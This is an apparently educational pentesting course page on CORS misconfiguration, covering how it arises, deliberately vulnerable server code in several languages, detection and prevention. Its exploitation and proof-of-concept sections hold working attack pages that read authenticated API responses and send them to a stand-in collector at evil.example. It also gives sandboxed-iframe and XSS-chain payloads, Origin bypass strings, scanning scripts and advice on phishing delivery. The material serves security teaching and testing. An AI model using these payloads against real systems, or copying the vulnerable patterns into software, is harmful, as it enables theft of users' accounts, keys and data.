Client-SideEasyClient-Side

CORS Misconfiguration

A complete guide to understanding, detecting, exploiting, and preventing CORS Misconfiguration vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

Cross-Origin Resource Sharing (CORS) Misconfiguration

ANAS EDUCATION -- Bug Bounty & Pentesting Course (V2 Beginner-First)

SECTION 1. Introduction

Imagine you open your PC and visit `portal.anasbank.com`.

This is your bank's customer portal. The login page lives at `portal.anasbank.com`. The actual data (your accounts, balances, transactions) is served by an API at a different subdomain: `api.anasbank.com`. The browser treats those two as different origins because the hostnames differ.

You sign in. The server sends back a session cookie:

http
HTTP/1.1 200 OK
Set-Cookie: session=abc123; Domain=.anasbank.com; Path=/; Secure; HttpOnly

The portal's JavaScript then loads your account data by calling the API:

javascript
fetch('https://api.anasbank.com/account/details', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => render(data));

When the browser sees a cross-origin call, it asks one question before letting the page READ the response: "did the API consent to this origin reading the response?" That consent is communicated in two HTTP headers on the API response:

http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://portal.anasbank.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"email":"alex@example.com","balance":4200,"apikey":"sk_live_..."}

If `Access-Control-Allow-Origin` (ACAO) matches the page's origin and `Access-Control-Allow-Credentials` (ACAC) is `true`, the browser delivers the response body to the page's JavaScript. If not, the browser blocks the read and prints a CORS error in the developer console. Normal. Expected.

Now look at the same picture again, but with a question on top of it: what if the API echoes back whatever origin the page claims, instead of checking against an allowlist?

A small startup that wants to support multiple frontends might wire up its API like this:

javascript
// Express middleware
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', req.headers.origin);
  res.header('Access-Control-Allow-Credentials', 'true');
  next();
});

The server takes whatever `Origin` header the browser sent and writes it straight into the response. From the developer's perspective, this "just works" -- the legitimate frontend at `portal.anasbank.com` always gets `Access-Control-Allow-Origin: https://portal.anasbank.com` back, and the page loads.

An attacker now stands up a small page at `https://evil.example` containing this JavaScript:

javascript
fetch('https://api.anasbank.com/account/details', {
  credentials: 'include'
})
.then(r => r.text())
.then(data => fetch('https://evil.example/log?d=' + btoa(data)));

A victim who is logged into AnasBank in tab A clicks a link or sees an ad that opens `https://evil.example` in tab B. The evil page's JavaScript fires a `fetch` to `api.anasbank.com`. Because `credentials: 'include'` is set and the session cookie's domain matches, the browser attaches the victim's session cookie. The API sees the request with valid credentials and replies:

http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.example
Access-Control-Allow-Credentials: true

{"email":"alex@example.com","balance":4200,"apikey":"sk_live_..."}

The API reflected the attacker's origin verbatim. The browser checks: does ACAO match the requesting page's origin? Yes (`https://evil.example` matches itself). Is ACAC true? Yes. The browser hands the JSON to the evil page's JavaScript. The evil page forwards it to the attacker's logger. The attacker now has the victim's email, balance, and API key.

No password was stolen. No XSS was needed. The victim only had to visit one attacker-controlled page while a separate AnasBank tab was open. The bug is the API's policy of trusting any `Origin` the browser sends.

This is CORS misconfiguration. The bug class where a server's Cross-Origin Resource Sharing policy is wired in a way that lets untrusted origins read authenticated responses.

This course teaches the CORS bug class from zero. By the end you will know:

  • What the Same-Origin Policy (SOP) is and how CORS relaxes it.
  • The two killer headers (`Access-Control-Allow-Origin` and `Access-Control-Allow-Credentials`) and the precise combinations that are dangerous.
  • The four families of CORS misconfig: reflected Origin, trusted `null`, weak whitelist regex, trusted insecure protocols.
  • The 12 most reliable bypass and exploitation techniques.
  • Prevention with strict exact-match allowlists and `Vary: Origin`.

You do not need to be an HTTP expert. You need to understand that CORS is the door, not the wall, and that the wall (SOP) only holds if the door is locked properly.

SECTION 2. How It Works

To find these bugs you first need to understand the Same-Origin Policy and what CORS does to it.

Step 1. The Same-Origin Policy (SOP)

The Same-Origin Policy is the browser's foundational security boundary. It says: a script running on one origin cannot read responses from a different origin. An origin is the triple `(scheme, host, port)`.

text
ORIGIN = scheme://host:port

https://portal.anasbank.com          origin 1
https://api.anasbank.com             origin 2 (different host)
http://portal.anasbank.com           origin 3 (different scheme)
https://portal.anasbank.com:8443     origin 4 (different port)

SOP is the wall. Without it, any random page on the internet could fetch your Gmail inbox the moment your browser had its session cookie.

Step 2. Why CORS exists

Modern apps split their UI and their APIs across origins. Without CORS, the legitimate UI at `portal.anasbank.com` could not read its own API at `api.anasbank.com`. CORS is the consent protocol that lets a server say: "I am OK with these specific origins reading my responses."

Step 3. The handshake

text
Browser  -----GET /account-------->  API
                                     Origin: https://portal.anasbank.com

Browser  <-----200 OK------------    API
                                     Access-Control-Allow-Origin: https://portal.anasbank.com
                                     Access-Control-Allow-Credentials: true
                                     Body: {...}

Browser checks ACAO == requesting Origin.
If yes  -> JavaScript receives the body.
If no   -> JavaScript receives a CORS error; body is hidden.

The browser is the enforcer. The server merely declares its policy via the ACAO and ACAC headers; the browser uses those headers to decide whether to deliver the body to the page's JavaScript.

Step 4. Preflight (for non-simple requests)

If the request uses methods other than GET/POST/HEAD, or a non-simple `Content-Type` (anything other than `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`), or custom headers, the browser sends an OPTIONS preflight first:

http
OPTIONS /account HTTP/1.1
Origin: https://portal.anasbank.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header

The server replies with allowed methods and headers; the browser then sends the real request only if the preflight passed. This is what stops a `<form>` on `evil.example` from POSTing JSON to an API: the JSON content type triggers a preflight, which the API can refuse.

Step 5. The two killer headers

text
Access-Control-Allow-Origin: <origin>     who can read
Access-Control-Allow-Credentials: true    cookies will be sent and the response can be read by that origin

Together they form the "credentialed CORS" combination. Misconfigure either, and the wall breaks down differently:

text
+------------------------------+-------------------------------+
| ACAO                         | ACAC | Result for attacker.com|
+------------------------------+------+------------------------+
| https://portal.anasbank.com  | true | rejected (mismatch)    |
| *                            | true | REJECTED by browser    |
|                              |      | (the spec forbids this)|
| <reflected attacker origin>  | true | CRITICAL READ          |
| null                         | true | CRITICAL (sandboxed    |
|                              |      |  iframe attack)        |
| *                            | false| public read, no creds  |
+------------------------------+------+------------------------+

Step 6. Where the bug lives

text
TIME ---------------------------------------------->
  [Receive request with Origin: X]
       |
       v
  [Server decides: do I trust X?]      <-- bug lives here
       |
       v
  [Server replies ACAO: X, ACAC: true]
       |
       v
  [Browser hands response to attacker JS]

Step 2 is where developers ship the bug. Reflecting Origin verbatim, trusting `null`, broken regex, trusting HTTP subdomains, or wildcard ACAO on authenticated endpoints all live there.

Step 7. CORS is not authentication

CORS controls who can READ a response. It does not authenticate the requester. The attacker's page can SEND a request to the API; the browser will attach cookies if SameSite and credentials policy allow. What CORS controls is whether the attacker's JavaScript gets to SEE the body of the response. This is the central thing to understand: a CORS misconfig is not "the API stopped checking sessions"; it is "the API let the attacker page read the authenticated user's data."

SECTION 3. Attack Flow

The walkthrough below shows a complete reflected-origin attack against a SaaS API.

Step 1: Recon

Identify the API host (typically `api.target.com`). Catalog every authenticated endpoint that returns sensitive data: `/me`, `/account`, `/profile`, `/billing`, `/api-keys`, `/messages`, `/integrations`.

Step 2: Capture a baseline

Log in to the legit frontend. Capture the normal request to a sensitive endpoint in Burp Proxy. Note the response's ACAO and ACAC headers.

Step 3: Probe Origin reflection

In Burp Repeater, change the `Origin` header to `https://evil.example` and resend the request with the victim's cookie. Inspect the response.

text
Origin: https://evil.example

Look for:

text
Access-Control-Allow-Origin: https://evil.example
Access-Control-Allow-Credentials: true

If both appear, the endpoint reflects arbitrary origins with credentials. CRITICAL.

Step 4: Walk the variations

Any successful reflection or trust is a finding.

Step 5: Build the PoC

Host an exploit page at an attacker-controlled domain (or use `ngrok`):

html
<!DOCTYPE html>
<html>
<body>
<h1>Free AnasMarket coupon!</h1>
<script>
fetch('https://api.anasbank.com/account/details', { credentials: 'include' })
  .then(r => r.text())
  .then(data => fetch('https://evil.example/log?d=' + encodeURIComponent(data)));
</script>
</body>
</html>

Step 6: Deliver

Send the link to a logged-in victim (phishing email, malvertising, social engineering, watering hole on a trusted subdomain).

Step 7: Capture impact

Victim's browser fetches the API with their cookie; API replies with ACAO matching evil.example + ACAC true; browser hands the response to the evil page's JS; evil page logs to attacker's collector.

Step 8: Escalate

Use the leaked API key to call the API directly with no browser involvement: drain balance, exfiltrate all data, modify account state.

ASCII timing diagram

text
TIME      ATTACKER                              VICTIM BROWSER                       API
-----     -----------------------               -----------------------              -----------------------
T0        Set up evil.example/poc       -->
T1        Send victim a link            -->
T2                                              Victim opens poc page (logged in
                                                to anasbank in another tab)
T3                                              Page fires fetch to api.anasbank,
                                                credentials:'include'                 reads cookie
T3+1                                                                                  reflects Origin: evil.example
                                                                                      ACAC: true
                                                                                      body: {email, apikey, balance}
T3+2                                              Browser sees ACAO match + ACAC true
                                                  -> hands body to evil.example JS
T4                                              Evil JS posts body to evil.example/log
T5        Receive victim's secrets       <--

SECTION 4. Why Developers Make This Mistake

CORS misconfiguration is a mental-model error about what SOP and CORS actually do.

Mistake 1: "CORS is security"

False. CORS RELAXES security. SOP is the security boundary. CORS is the consent protocol that lets a server selectively open the wall to specific trusted origins. Misconfigured CORS removes the wall; it does not add one.

Mistake 2: "Only my frontend can send my origin"

False. The browser does not let JavaScript SET arbitrary `Origin` headers, but tools like curl, Burp, fetch from a different page, and any HTTP client can send any Origin. The defense must be server-side allowlisting, not trust in the browser.

Mistake 3: "If I echo Origin back, only the requester sees the response"

False. The browser sees ACAO, sees that it matches the requesting origin, and hands the response to that origin's JavaScript. If the requesting origin is `evil.example`, the response goes to `evil.example`.

Mistake 4: "I copied this from StackOverflow"

The most common cause. The "accepted answer" for "fix CORS error" is often:

javascript
res.header('Access-Control-Allow-Origin', req.headers.origin);
res.header('Access-Control-Allow-Credentials', 'true');

This is the textbook critical CORS misconfig.

Mistake 5: "I use a regex allowlist, that is safe"

Naive regex matching produces predictable bypasses:

Mistake 6: "I only trust subdomains of target.com"

HTTP subdomains can be MITM'd or carry forgotten XSS. Subdomain takeover lets an attacker claim a subdomain that the CORS policy trusts.

Mistake 7: "ACAO: * is the same as restricting nothing"

With `ACAC: true`, browsers REJECT the wildcard combination. Without `ACAC: true`, the wildcard still lets any page on the internet read the response (no credentials, but if the data is sensitive without auth, that is the bug).

Mistake 8: "WebSockets and GraphQL follow the same CORS rules"

WebSockets do NOT follow CORS; they follow an `Origin` handshake at upgrade time, which has its own pitfalls (Cross-Site WebSocket Hijacking, CSWSH). GraphQL endpoints often have separate CORS configs from REST endpoints on the same host.

SECTION 5. Beginner Summary

  • CORS controls which web origins are allowed to READ the responses of your API in a browser. It does NOT prevent attackers from SENDING requests.
  • A misconfiguration that reflects whatever `Origin` the browser sent, combined with `Access-Control-Allow-Credentials: true`, lets any attacker page read authenticated responses from logged-in victims.
  • The two killer headers are `Access-Control-Allow-Origin` (which origin may read) and `Access-Control-Allow-Credentials` (whether cookies travel and the response can be read for that origin).
  • Prevention is one rule: a strict, exact, hardcoded allowlist of trusted origins; never reflect; never trust `null`; never use `*` with credentials; set `Vary: Origin`.

SECTION 6. Visual Explanation

Same-Origin Policy wall

text
                +-----------------------+
                |  https://victim.com   |
                +-----------+-----------+
                            |
                            | JS runs
                            v
   +------------------------+------------------------+
   |                        |                        |
   v                        v                        v
victim.com           api.victim.com           evil.example
same origin          different origin         different origin
can read             cannot read              cannot read
                     (unless CORS allows)     (unless CORS allows)

Safe vs vulnerable CORS

text
SAFE
Browser  ---GET---->          API
Origin: portal.target.com

Browser  <---200---           API
                              ACAO: https://portal.target.com   (allowlist match)
                              ACAC: true
                              body: {...}
Browser sees ACAO matches Origin -> shares with JS.


VULNERABLE
Browser  ---GET---->          API
Origin: evil.example

Browser  <---200---           API
                              ACAO: https://evil.example  (reflected!)
                              ACAC: true
                              body: {sensitive}
Browser sees ACAO matches Origin -> shares with evil.example JS.

Four families of CORS misconfig

text
                +------------------------------+
                |     CORS MISCONFIGS          |
                +---------------+--------------+
                                |
   +------------+---------------+---------------+----------------+
   |            |               |               |                |
   v            v               v               v                v
Reflected   Null trust    Weak regex     HTTP subdomain    Wildcard
Origin      (sandboxed    (endsWith,     trust (XSS        on auth
            iframe)       startsWith,    pivot)            endpoint
                          includes)
   |            |               |               |                |
   v            v               v               v                v
evil.example  iframe         eviltarget     XSS on http       any web
reads         srcdoc reads   reads          subdomain         page reads
authenticated authenticated  authenticated  pivots to         (sometimes
data          data           data           api               public data)

Detection cheat lines

text
1. Origin: https://evil.example          reflection probe
2. Origin: null                          sandboxed iframe probe
3. Origin: http://target.com             insecure-protocol probe
4. Origin: https://target.com.evil.com   suffix-match probe
5. Origin: https://eviltarget.com        substring-match probe
6. Origin: https://target.com\.evil.com  regex-parsing probe

SECTION 7. Definition

Technical definition

CORS misconfiguration is a vulnerability in which a server's Cross-Origin Resource Sharing policy is implemented in a way that grants untrusted origins permission to send credentialed requests AND read the responses. It breaks the Same-Origin Policy by allowing the attacker's page to read authenticated data that should be restricted to trusted origins.

  • CWE-942: Permissive Cross-domain Policy with Untrusted Domains
  • CWE-346: Origin Validation Error
  • OWASP Top 10 (2021): A05 Security Misconfiguration (also A01 in some mappings)
  • Alternate names: CORS abuse, ACAO reflection, cross-origin data theft.

Beginner-friendly definition

CORS misconfiguration is when a website's API politely tells any random attacker page on the internet: "Sure, take a look at my logged-in users' private data."

Why it matters

CORS misconfigurations leak API keys, session data, PII, and admin credentials. They are common, often invisible to scanners, and routinely earn high bug bounty payouts. Notable disclosures:

Common affected systems

  • SaaS dashboards with API subdomains.
  • Single Page Applications backed by JSON APIs.
  • Banking and fintech APIs.
  • E-commerce account and order APIs.
  • Mobile-app backends shared with web frontends.
  • Internal microservices exposed via gateway.
  • GraphQL endpoints (often separate CORS config).
  • WebSocket endpoints (CSWSH, related class).
  • Any API that uses cookie-based auth across subdomains.

SECTION 8. Examples

Example 1. AnasBank reflected-Origin account API

The feature. The login portal at `portal.anasbank.com` reads account data from `api.anasbank.com/account/details`. The API was wired up with `res.header('Access-Control-Allow-Origin', req.headers.origin)` plus `Access-Control-Allow-Credentials: true`.

The bug. No allowlist. The API echoes back any Origin.

The attack step by step.

  • Step 1: an attacker hosts `evil.example/poc.html` containing `fetch('https://api.anasbank.com/account/details', { credentials: 'include' })`.
  • Step 2: link is sent to victims via phishing or malvertising.
  • Step 3: victims who are logged in to AnasBank visit the page.
  • Step 4: browser fires the fetch with the victim's session cookie; API replies with `ACAO: https://evil.example` and `ACAC: true`; browser delivers the body to evil.example's JS.
  • Step 5: API key + balance + email leak to the attacker.

Example 2. AnasDocs null-Origin trust

The feature. AnasDocs's API was tested locally during development with `file://` documents (which send `Origin: null`). The team added `null` to the allowlist to make local testing work and never removed it.

The bug. `Access-Control-Allow-Origin: null` plus `ACAC: true` is exploitable through sandboxed iframes (which the browser sends with `Origin: null`).

The attack step by step.

  • Step 1: attacker hosts a page with a sandboxed iframe.
html
<iframe sandbox="allow-scripts allow-top-navigation" srcdoc="
<script>
  fetch('https://api.anasdocs.com/me', { credentials: 'include' })
    .then(r => r.text())
    .then(d => parent.location='https://evil.example/log?d=' + btoa(d));
</script>
"></iframe>
  • Step 2: iframe's Origin is `null`; API trusts it; browser delivers the body.
  • Step 3: victim's data leaks.

Example 3. AnasMarket weak regex allowlist

The feature. AnasMarket's API matches origins with `if (origin.endsWith("anasmarket.com")) allow`.

The bug. String-suffix matching accepts any registered domain that ends with the trusted string.

The attack step by step.

  • Step 1: attacker registers `evil-anasmarket.com`.
  • Step 2: hosts the PoC there.
  • Step 3: server's `endsWith` returns true; reflection succeeds.

Other variants of weak matching produce different bypass shapes:

Example 4. AnasCorp HTTP subdomain pivot

The feature. AnasCorp's main app is HTTPS-only. A legacy stock-tracker subdomain `stock.anascorp.com` runs HTTP. The API's CORS allowlist includes all `*.anascorp.com` over any protocol.

The bug. The HTTP subdomain is trivially MITM-able on hostile networks and historically carries a reflective XSS the team forgot to patch.

The attack step by step.

  • Step 1: attacker triggers the XSS on `http://stock.anascorp.com` via a crafted URL.
  • Step 2: the XSS payload fires a credentialed `fetch` to the HTTPS API.
  • Step 3: API trusts the `http://stock.anascorp.com` origin and reflects it; browser delivers the body to the XSS payload.
  • Step 4: data is exfiltrated.

Example 5. AnasOne wildcard on internal API

The feature. AnasOne runs an internal HR microservice on `hr.internal.anasone.local`. The team set `Access-Control-Allow-Origin: *` because "only employees on the corporate network can reach it anyway."

The bug. Wildcard ACAO means any web page in any employee's browser can read the response. Even without credentials, if the data is sensitive (which it is), the bug exists.

The attack step by step.

  • Step 1: attacker tricks an HR analyst (on the corporate network) into visiting `https://evil.example`.
  • Step 2: page fires fetches at `http://hr.internal.anasone.local/employees`.
  • Step 3: requests reach the internal API because the browser is on the corporate network.
  • Step 4: wildcard ACAO lets the evil.example page read the response.
  • Step 5: full employee records leak.

(Truffle Security's `of-CORS` tool weaponizes this pattern with typosquatted domains and service workers; see section 17.)

SECTION 9. Vulnerable Code

Node.js (Express) -- reflected Origin

javascript
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', req.headers.origin);  // VULNERABLE
  res.header('Access-Control-Allow-Credentials', 'true');
  next();
});

The textbook critical CORS misconfig.

Python (Flask) -- reflected Origin

python
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    response.headers['Access-Control-Allow-Origin'] = origin   # VULNERABLE
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

PHP -- null trusted

php
<?php
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);   // VULNERABLE
header("Access-Control-Allow-Credentials: true");
?>

If the incoming `Origin: null`, the server replies `ACAO: null`. Sandboxed iframes win.

Java (Spring) -- bad regex allowlist

java
@Configuration
public class CorsConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
                .allowedOriginPatterns("*anastech.com*")     // VULNERABLE
                .allowCredentials(true);
    }
}

The wildcards in `allowedOriginPatterns` admit attacker-controlled domains containing the trusted substring.

Java (Spring Security) -- allow-any

java
http.cors(cors -> cors.configurationSource(req -> {
    CorsConfiguration cfg = new CorsConfiguration();
    cfg.setAllowedOrigins(List.of("*"));     // wildcard
    cfg.setAllowCredentials(true);           // VULNERABLE if browser would accept
    return cfg;
}));

Modern browsers reject the combination of `*` and credentials, but if developers fix the runtime error by switching to "reflect arbitrary origin," they ship the reflection bug instead.

C# (ASP.NET Core) -- IsOriginAllowed lambda

csharp
app.UseCors(builder =>
    builder.SetIsOriginAllowed(origin => true)   // VULNERABLE: trusts any origin
           .AllowAnyHeader()
           .AllowAnyMethod()
           .AllowCredentials());

A frequent regression: developer hit a runtime error from `AllowAnyOrigin().AllowCredentials()`, "fixed" it with `SetIsOriginAllowed(_ => true)`, and shipped the same bug in a different shape.

Go (gorilla/mux) -- reflection

go
router.Use(func(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Access-Control-Allow-Origin", r.Header.Get("Origin")) // VULNERABLE
        w.Header().Set("Access-Control-Allow-Credentials", "true")
        next.ServeHTTP(w, r)
    })
})

Ruby on Rails -- rack-cors permissive

ruby
Rails.application.config.middleware.insert_before 0, Rack::Cors do
  allow do
    origins '*'                # or a reflective lambda
    resource '*', credentials: true   # VULNERABLE if origins reflective + credentials
  end
end

The universal pattern

  • 1. Server receives a request with an `Origin` header.
  • 2. Server either (a) reflects it verbatim, (b) matches it against a broken regex, (c) trusts `null`, (d) trusts HTTP subdomains, or (e) sets wildcard while still trusting credentials.
  • 3. Server returns `Access-Control-Allow-Origin: <attacker-controllable>` and `Access-Control-Allow-Credentials: true`.
  • 4. Browser hands the authenticated response to attacker JS.

Step 2 is where the bug is born.

SECTION 10. Detection

Manual workflow

  • Step 1: log into the target. Catalog authenticated endpoints that return sensitive data: `/me`, `/account`, `/profile`, `/billing`, `/api-keys`, `/messages`, `/integrations`.
  • Step 2: capture a normal request in Burp Proxy. Inspect the response's ACAO and ACAC headers.
  • Step 3: in Repeater, modify the `Origin` header and resend with the victim's cookie. Try the six probe variations:
text
Origin: https://evil.example
Origin: null
Origin: http://target.com
Origin: https://target.com.evil.example
Origin: https://eviltarget.com
Origin: https://target.com\.evil.example
  • Step 4: look at the response headers:
  • If `Access-Control-Allow-Origin` matches your probe AND `Access-Control-Allow-Credentials: true` is present, the endpoint is critically vulnerable.
  • If `Access-Control-Allow-Origin: null` is reflected, the sandboxed-iframe vector applies.
  • If `Access-Control-Allow-Origin: *` is set on an authenticated endpoint, browsers will refuse to send credentials but the endpoint may still be reachable without auth.
  • Step 5: confirm impact with a real exploit page hosted on an attacker-controlled domain.

Burp Suite

  • Burp Active Scanner catches basic reflected-origin issues.
  • CORS Misconfiguration Scanner (BApp) by James Kettle automates origin manipulation.
  • Param Miner can fuzz origins in bulk.
  • Always confirm in Repeater manually before reporting.

Automated tools

Quick command-line probe

bash
for origin in "https://evil.example" "null" "http://target.com" \
              "https://target.com.evil.example" "https://eviltarget.com"; do
  echo "=== Origin: $origin ==="
  curl -sk -I "https://api.target.com/account/details" \
    -H "Origin: $origin" \
    -H "Cookie: session=YOUR_TEST_COOKIE" | grep -i "access-control"
done

Indicators of vulnerability

  • `Access-Control-Allow-Origin` reflects whatever value you send in `Origin`.
  • `Access-Control-Allow-Credentials: true` is present on sensitive endpoints.
  • `ACAO: null` ever appears.
  • `ACAO: *` on internal APIs or APIs that do not require auth.
  • Endpoint returns JSON containing API keys, tokens, balances, or PII.
  • API is on a different subdomain than the frontend.
  • Allowlist looks generated from a regex or string functions (`endsWith`, `startsWith`, `includes`).

Train your eye. Every `Origin` header is an invitation.

SECTION 11. Exploitation

Workflow

  • 1. Identify a sensitive authenticated endpoint.
  • 2. Confirm reflection / null trust / weak whitelist.
  • 3. Confirm `ACAC: true`.
  • 4. Build an exploit HTML page on an attacker domain.
  • 5. Deliver via phishing, malvertising, watering hole, or shared-link trick.
  • 6. Capture stolen data on the attacker's collector.
  • 7. Demonstrate impact (account takeover, fund transfer, PII dump).

Techniques

1. Reflected Origin

javascript
fetch('https://api.target.com/me', { credentials: 'include' })
  .then(r => r.text())
  .then(d => fetch('https://evil.example/log?d=' + btoa(d)));

The classic. The server reflects whatever Origin the page claims.

2. Null Origin via sandboxed iframe

Browsers send `Origin: null` from sandboxed iframes, `data:` URLs, `file://` documents, and cross-origin redirects in some browsers. Exploit:

html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
  var x = new XMLHttpRequest();
  x.onload = function(){ location='https://evil.example/log?d='+encodeURIComponent(x.responseText); };
  x.open('GET', 'https://api.target.com/me', true);
  x.withCredentials = true;
  x.send();
</script>
"></iframe>

3. Suffix-match bypass (endsWith)

Server: `if (origin.endsWith('target.com')) allow`. Attacker: register `eviltarget.com`, set `Origin: https://eviltarget.com`. Passes.

4. Prefix-match bypass (startsWith)

Server: `if (origin.startsWith('https://target.com')) allow`. Attacker: set `Origin: https://target.com.evil.example`. Passes.

5. Substring-match bypass (includes)

Server: `if (origin.includes('target.com')) allow`. Attacker: set `Origin: https://target.com.evil.example` or `https://target-com.evil.example` if the regex is malformed.

6. Unanchored regex bypass

Server: regex without `^...$` anchors and unescaped dots. Attacker: domains like `https://targetXcom.evil.example` match `target.com`.

7. Special-character parsing quirks

Some servers parse Origins inconsistently from browsers:

text
https://target.com\.evil.example
https://target.com%60.evil.example
https://target.com%5C.evil.example
https://target.com#https://evil.example

Browser sends the literal string in Origin; server's URL parser strips characters differently. Reference: Ayoub Safa "Think Outside the Scope" (2019).

8. HTTP-subdomain pivot via XSS

The server trusts `http://stock.target.com`. The HTTP subdomain has XSS. Chain:

html
<script>
document.location = "http://stock.target.com/?q=4<script>fetch('https://api.target.com/me',{credentials:'include'}).then(r=>r.text()).then(d=>fetch('https://evil.example/log?d='+btoa(d)));</script>"
</script>

The XSS executes on the trusted HTTP subdomain. The fetch reaches the HTTPS API with credentials. ACAO trusts the HTTP subdomain. Browser shares response with XSS payload.

9. Wildcard without credentials, but data is sensitive

When `ACAO: *` and `ACAC: false`, the browser refuses to attach cookies. But if the endpoint returns sensitive data without requiring auth (debug endpoints, internal employee info, financial summaries without auth, internal IP ranges), the wildcard is still a critical disclosure path.

10. Internal-network CORS abuse (of-CORS pattern)

When a victim's browser is on a corporate network, an attacker page can reach internal IPs and hostnames the attacker cannot reach directly. If internal APIs use `ACAO: *` or trust corporate domains broadly, the attacker's external page can read internal data through the victim's browser. Truffle Security's `of-CORS` tool weaponizes this with typosquatted domains and service workers.

11. Subdomain takeover + CORS

If `*.target.com` is trusted by CORS and one subdomain is abandoned (DNS CNAME points to a deleted Heroku app, S3 bucket, GitHub Pages), claim it via subdomain takeover. Now your attacker-controlled subdomain is trusted by CORS.

12. Cache poisoning + CORS

If a CDN caches responses including their ACAO header, you can poison the cache with an attacker-friendly origin. The poisoned cache entry is then served to legitimate users. Browser still validates ACAO against the visiting user's origin, so this is rarely a direct CORS bypass on its own, but combined with other quirks it has produced real-world bugs.

13. Cross-Site WebSocket Hijacking (CSWSH)

WebSocket connections do NOT follow CORS; they follow an `Origin` check at the upgrade handshake. If the server checks `Origin` weakly (or not at all), attacker pages can open authenticated WebSocket sessions from cross-origin contexts.

14. Preflight confusion

Some servers respond to OPTIONS with strict CORS but to the actual GET/POST with loose CORS. Send a simple request directly (GET, or POST with `text/plain`) and bypass the preflight enforcement.

15. CORS to CSRF chain (state-changing endpoints)

Some servers misconfigure CORS to allow methods like PUT/DELETE plus arbitrary headers. Combined with credentials, attackers can perform state-changing actions cross-origin. Reference: PortSwigger "CORS to CSRF" patterns.

Common mistakes

  • Reporting CORS reflection without showing authenticated impact -- triagers downgrade these.
  • Forgetting `credentials: 'include'` in the PoC.
  • Confusing a CORS error in DevTools with a bug. The error means SOP is doing its job; the BUG is when there is no error.
  • Not trying `null` Origin via sandboxed iframes.
  • Skipping the regex-bypass variations.
  • Not testing GraphQL and WebSocket endpoints separately from REST.

SECTION 12. Proof of Concept

Burp detection

text
1. Capture GET /api/me with the victim's cookie.
2. Send to Repeater.
3. Replace Origin header with https://evil.example.
4. Send. Inspect ACAO and ACAC.
5. If ACAO matches AND ACAC: true ==> CRITICAL.
6. Try other Origin variations (null, http://, suffix match, prefix match).

Reflected Origin HTML PoC

html
<!DOCTYPE html>
<html>
<body>
<h1>Win a free voucher!</h1>
<script>
fetch('https://api.anasbank.com/account/details', { credentials: 'include' })
  .then(r => r.text())
  .then(data => fetch('https://evil.example/log?d=' + encodeURIComponent(data)));
</script>
</body>
</html>

XMLHttpRequest variant

html
<script>
var x = new XMLHttpRequest();
x.onload = function() {
  location = 'https://evil.example/log?d=' + encodeURIComponent(x.responseText);
};
x.open('GET', 'https://api.target.com/account/details', true);
x.withCredentials = true;
x.send();
</script>

Null-Origin exploit (sandboxed iframe)

html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
  var x = new XMLHttpRequest();
  x.onload = function(){ location='https://evil.example/log?d='+encodeURIComponent(x.responseText); };
  x.open('GET', 'https://api.target.com/me', true);
  x.withCredentials = true;
  x.send();
</script>
"></iframe>

HTTP-subdomain pivot via XSS

html
<script>
document.location = "http://stock.target.com/?q=4<script>fetch('https://api.target.com/me',{credentials:'include'}).then(r=>r.text()).then(d=>fetch('https://evil.example/log?d='+btoa(d)));</script>";
</script>

Python detection script

python
import requests

TARGETS = [
    "https://api.target.com/api/me",
    "https://api.target.com/api/account/details",
    "https://api.target.com/api/user/profile",
    "https://api.target.com/api/billing",
    "https://api.target.com/api/api-keys",
]

ORIGINS = [
    "https://evil.example",
    "null",
    "https://target.com.evil.example",
    "http://target.com",
    "https://eviltarget.com",
]

COOKIE = "session=PASTE_TEST_COOKIE_HERE"

for url in TARGETS:
    for origin in ORIGINS:
        r = requests.get(url,
                         headers={"Origin": origin, "Cookie": COOKIE},
                         verify=False, allow_redirects=False, timeout=10)
        acao = r.headers.get("Access-Control-Allow-Origin", "MISSING")
        acac = r.headers.get("Access-Control-Allow-Credentials", "MISSING")
        if acao == origin and acac.lower() == "true":
            print(f"[CRITICAL] {url} reflects {origin} with credentials")
        elif acao == origin:
            print(f"[MEDIUM]   {url} reflects {origin} without credentials")
        elif acao == "*":
            print(f"[INFO]     {url} wildcard")

Bash one-liner

bash
curl -sk -I "https://api.target.com/api/me" \
  -H "Origin: https://evil.example" \
  -H "Cookie: session=YOUR_COOKIE" | grep -i "access-control"

Node.js PoC

javascript
const axios = require('axios');
const TARGET = 'https://api.target.com/api/me';
const ORIGINS = ['https://evil.example', 'null', 'https://target.com.evil.example'];

(async () => {
  for (const o of ORIGINS) {
    const r = await axios.get(TARGET, {
      headers: { Origin: o, Cookie: 'session=YOUR_COOKIE' },
      validateStatus: () => true,
    });
    const acao = r.headers['access-control-allow-origin'];
    const acac = r.headers['access-control-allow-credentials'];
    if (acao === o && acac === 'true') {
      console.log(`[CRITICAL] reflects ${o}`);
    }
  }
})();

PowerShell PoC

powershell
$headers = @{ "Origin" = "https://evil.example"; "Cookie" = "session=YOUR_COOKIE" }
$r = Invoke-WebRequest -Uri "https://api.target.com/api/me" -Headers $headers -SkipCertificateCheck
$r.Headers["Access-Control-Allow-Origin"]
$r.Headers["Access-Control-Allow-Credentials"]

Hosting the PoC

bash
# Local quick test
python3 -m http.server 8080

# With TLS for SameSite=None cookie tests
ngrok http 8080

Use the resulting public URL as your attacker origin.

CORScanner / Corsy

bash
git clone https://github.com/chenjj/CORScanner
cd CORScanner && pip install -r requirements.txt
python3 cors_scan.py -u https://api.target.com/api/me

git clone https://github.com/s0md3v/Corsy
cd Corsy && pip install -r requirements.txt
python3 corsy.py -u https://api.target.com/api/me

SECTION 13. Payloads

CORS "payloads" are Origin-header variations plus the JavaScript that reads the response.

